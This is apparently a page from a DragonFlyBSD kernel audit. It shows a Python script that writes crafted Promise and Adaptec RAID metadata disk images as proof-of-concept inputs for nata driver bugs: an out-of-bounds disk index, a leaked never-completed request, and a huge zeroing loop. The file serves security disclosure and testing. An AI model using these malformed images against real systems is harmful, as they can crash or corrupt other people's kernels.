⬢ DragonFlyBSD Kernel Audit
DF-3696 / mkmeta.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""Build crafted nata RAID metadata disk images for the DF-369x PoCs.

Disks are sized to a multiple of 1008 sectors (16 heads * 63 spt as reported
by QEMU ide-hd) so that:
    PROMISE_LBA = total_secs - 63
    ADP_LBA     = total_secs - 17
"""
import struct, sys

SECS = 1008 * 260          # 262080 sectors = 128.0625 MB
IMG_SECTORS = SECS

def promise_native(path, *, rtype, array_width, total_disks, total_sectors,
                   disk_sectors, stripe_shift=0, gen=1, diskflags=(0x06, 0x00)):
    b = bytearray(2048)
    b[0:24] = b"FreeBSD ATA driver RAID "   # ATA_MAGIC (23 bytes + NUL from bzero)
    struct.pack_into("<Q", b, 28, 0x1122334455667788)   # meta->magic_0
    # struct promise_raid_conf.raid @512
    struct.pack_into("<I", b, 512, 0x00000080)          # integrity = PR_I_VALID
    struct.pack_into("<B", b, 517, 0)                   # raid.disk_number
    struct.pack_into("<I", b, 532, disk_sectors)        # raid.disk_sectors
    struct.pack_into("<H", b, 540, gen)                 # raid.generation
    struct.pack_into("<B", b, 542, 0x0f)                # status VALID|ONLINE|INITED|READY
    struct.pack_into("<B", b, 543, rtype)
    struct.pack_into("<B", b, 544, total_disks)
    struct.pack_into("<B", b, 545, stripe_shift)
    struct.pack_into("<B", b, 546, array_width)
    struct.pack_into("<B", b, 547, 0)                   # array_number
    struct.pack_into("<I", b, 548, total_sectors)
    struct.pack_into("<H", b, 552, 3)                   # cylinders
    struct.pack_into("<B", b, 554, 254)                 # heads
    struct.pack_into("<B", b, 555, 63)                  # sectors
    # raid.disk[8] @564, 12 bytes each
    for i in range(2):
        off = 564 + 12 * i
        struct.pack_into("<B", b, off, diskflags[i])    # PR_F_ONLINE|PR_F_ASSIGNED etc
        struct.pack_into("<Q", b, off + 4, 0x1122334455667788)
    # checksum: sum of first 511 LE u32 words stored at word 511
    words = struct.unpack_from("<511I", b, 0)
    struct.pack_into("<I", b, 2044, sum(words) & 0xffffffff)
    wr(path, b, SECS - 63)

def adaptec(path, *, total_disks, gen=1, stripe_shift=0):
    b = bytearray(8704)
    struct.pack_into("<I", b, 0, 0xc4650790)            # magic_0 (raw native compare)
    struct.pack_into(">I", b, 4, gen)                   # generation (be32toh)
    struct.pack_into(">H", b, 8, 1)                     # total_configs
    # configs[0] @64 (all big endian per header comment)
    struct.pack_into(">H", b, 64 + 0,  total_disks)     # total_disks @64
    struct.pack_into(">H", b, 64 + 2,  gen)             # generation
    struct.pack_into("<I", b, 64 + 4, 0xAAAABBBB)       # magic_0 (raw)
    struct.pack_into("<B", b, 64 + 9, 0x00)             # type = ADP_T_RAID0 (raw byte) @73
    struct.pack_into(">I", b, 64 + 24, 100000)          # sectors @88 (be32)
    struct.pack_into("<H", b, 64 + 28, stripe_shift)    # stripe_shift @92 (native use)
    struct.pack_into("<I", b, 8448, 0x4d545044)         # magic_3 @8448 (raw native compare)
    wr(path, b, SECS - 17)

def wr(path, meta, lba):
    with open(path, "wb") as f:
        f.truncate(0)
        f.truncate(SECS * 512)
        f.seek(lba * 512)
        f.write(bytes(meta))
    print("%s: %d sectors, metadata at LBA %d (%d bytes)" %
          (path, SECS, lba, len(meta)))

if __name__ == "__main__":
    d = "/tmp/opencode/araid/"
    # F2/DF-3691: RAID0, width=64 (>MAX_DISKS=16), total_disks=1 -> array READY,
    # strategy drv = blkno % 64 picks disks[32]/disks[63] OOB.
    promise_native(d + "f2_width.img", rtype=0x00, array_width=64, total_disks=1,
                   total_sectors=100000, disk_sectors=100000)
    # F7/DF-3696: RAID5 width=2, total_disks=2, disk1 offline -> DEGRADED ->
    # strategy leaks request and never completes the bio.
    promise_native(d + "f7_r5deg.img", rtype=0x04, array_width=2, total_disks=2,
                   total_sectors=100000, disk_sectors=100000,
                   diskflags=(0x06, 0x00))
    # F1/DF-3690: Adaptec RAID0 total_disks=60000 -> zero-loop disks[0..59999].
    adaptec(d + "f1_adaptec.img", total_disks=60000)